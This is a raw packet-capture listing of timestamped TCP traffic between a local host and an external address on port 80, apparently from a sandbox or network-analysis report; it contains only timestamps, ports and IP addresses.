Sep 26, 2024 12:11:57.934240103 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.934243917 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.934295893 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.934312105 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.934329033 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.934345007 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.934360981 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.934370995 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.934391022 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.934469938 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.934487104 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.934529066 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.934648037 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.934663057 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.934678078 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.934695959 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.934700966 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.934715033 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.934725046 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.934767008 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.934818983 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.934834957 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.934881926 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.934986115 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.935003042 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.935055017 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.935688972 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.935712099 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.935729027 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.935745001 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.935760975 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.935774088 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.935775995 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.935794115 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.935797930 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.935811043 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.935823917 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.935827017 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.935842991 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.935858965 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.935866117 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.935874939 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.935883999 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.935893059 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.935909986 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.935928106 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.935934067 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.935944080 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.935956955 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.935961008 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.935976982 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.935995102 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.936032057 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.938543081 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.938594103 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.938632965 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.938657045 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.938709974 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.938725948 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.938741922 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.938762903 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.938793898 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.938841105 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.938848019 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.938854933 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.938863039 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.938889027 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.938900948 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.938910961 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.938987970 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.939004898 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.939021111 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.939033031 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.939039946 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.939069986 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.939078093 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.939095974 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.939112902 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.939126015 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.939127922 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.939141989 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.939163923 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.939166069 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.939182043 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.939184904 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.939203024 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.939239025 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.939279079 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.939295053 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.939311981 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.939332008 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.939362049 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.939378977 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.939402103 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.939420938 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.939435959 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.939455986 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.939507961 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.939529896 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.939546108 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.939562082 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.939577103 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.939594030 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.939595938 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.939609051 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.939634085 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.939634085 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.939651966 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.939652920 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.939668894 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.939701080 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.939738035 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.939764023 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.939799070 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.939816952 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.939834118 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.939851046 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.939867973 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.939898014 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.939977884 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.939994097 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.940007925 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.940023899 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.940042019 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.940049887 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.940057993 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.940073967 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.940074921 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.940093040 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.940109968 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.940145969 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.940146923 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.940161943 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.940193892 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.940208912 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.940216064 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.940226078 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.940254927 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.940315008 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.940330982 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.940346956 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.940362930 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.940366983 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.940398932 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.988749027 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.022545099 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.022695065 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.022711992 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.022727013 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.022742033 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.022757053 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.022768974 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.022818089 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.022855997 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.022866964 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.022878885 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.022897005 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.022932053 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.023040056 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.023055077 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.023071051 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.023087025 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.023092985 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.023102999 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.023134947 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.023161888 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.023219109 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.023235083 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.023294926 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.023411036 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.023427963 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.023442984 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.023461103 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.023475885 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.023478985 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.023520947 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.023562908 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.023581028 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.023614883 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.023766041 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.023782015 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.023797035 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.023827076 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.023857117 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.023922920 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.023936987 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.023952961 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.023967028 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.023982048 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.023988008 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.023996115 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.024012089 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.024012089 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.024054050 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.024061918 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.024071932 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.024097919 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.024274111 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.024290085 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.024303913 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.024331093 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.024367094 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.024437904 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.024452925 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.024467945 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.024482012 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.024509907 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.024540901 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.024610043 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.024651051 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.024672985 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.024687052 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.024701118 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.024704933 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.024717093 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.024736881 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.024740934 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.024759054 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.024796963 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.024812937 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.024827957 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.024848938 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.024880886 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.024965048 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.024981022 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.024996042 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.025010109 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.025024891 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.025037050 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.025039911 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.025055885 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.025060892 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.025094986 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.025301933 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.025316954 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.025330067 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.025345087 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.025353909 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.025367975 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.025382042 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.025383949 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.025428057 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.025429010 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.025482893 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.025651932 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.025666952 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.025681973 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.025718927 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.025830984 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.025839090 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.025846004 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.025883913 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.025916100 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.025994062 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.026010036 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.026025057 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.026040077 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.026062012 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.026062965 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.026063919 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.026070118 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.026077032 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.026093006 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.026110888 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.026125908 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.026146889 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.026155949 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.026171923 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.026187897 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.026243925 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.026531935 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.026535034 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.026552916 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.026568890 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.026585102 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.026601076 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.026609898 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.026617050 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.026637077 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.026642084 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.026668072 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.026881933 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.026896954 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.026912928 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.026928902 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.026942968 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.026951075 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.026963949 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.026967049 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.026999950 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.027060032 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.027076960 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.027091026 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.027106047 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.027113914 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.027122021 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.027137041 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.027137995 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.027153015 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.027165890 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.027206898 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.027209044 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.027229071 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.027245998 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.027261019 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.027280092 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.027283907 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.027287006 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.027297974 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.027303934 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.027314901 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.027333021 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.027355909 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.027668953 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.027683973 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.027692080 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.027736902 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.027841091 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.027856112 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.027900934 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.082505941 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.109991074 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.110008001 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.110033035 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.110048056 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.110071898 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.110083103 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.110089064 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.110102892 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.110116959 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.110120058 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.110138893 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.110172987 CEST	49732	80	192.168.2.4	172.86.66.70
